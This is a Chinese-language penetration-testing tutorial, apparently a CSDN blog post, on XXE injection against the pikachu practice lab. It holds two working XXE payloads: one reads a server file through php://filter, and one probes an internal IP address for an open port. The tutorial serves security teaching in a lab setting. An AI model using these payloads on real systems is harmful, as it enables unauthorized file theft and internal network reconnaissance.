今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE漏洞详解(三)——XXE漏洞实际运用。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、XXE漏洞简介
XXE漏洞是External Entiry Injection,即XML外部实体注入漏洞。XXE漏洞主要是发生在应用程序解析XML输入时,没有禁止加载外部实体,从而导致任意文件读取、系统命令执行、内网端口探测等危害。
二、XXE漏洞pikachu靶场介绍
pikachu靶场XXE漏洞如下所示:
我们简单输入一个XML格式的数据:
asd
1
提交后如下所示:
从上图中可以看出,该靶场可以解析我们输入的XML格式的数据,并显示在页面上。
我们查看页面PHP源代码如下所示:
在该代码中,使用了simplexml_load_string()函数,这个函数的作用就是输入一个符合XML格式的数据,然后将该数据转化为一个XML对象实体,然后返回这个实体的键和值。
三、XXE漏洞pikachu靶场实战
最后,我们针对pikachu靶场,利用XXE漏洞,来进行实战演练。
(一)利用XXE漏洞读取文件
XXE漏洞读取文件EXP构造如下所示:
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=xxe_1.php">
]>
&xxe;
1
2
3
4
我们将该exp写入到api的输入框中并提交,结果如下所示:
从上图中可以看出,我们能够利用该exp实现指定文件读取。
(二)利用XXE漏洞进行内网探测
同样的,我们也可以稍微修改上述exp,使得请求的文件是内网文件,借此实现内网探测的目的。exp如下所示:
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.136.1">
]>
&xxe;
1
2
3
4
如果内网指定IP地址存在并开放了80端口,则上述exp正常返回如下所示:
而如果该IP地址不存在,或者没有开放80端口,那么上述页面会刷新一段时间,并且最后返回失败。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/weixin_40228200/article/details/128412998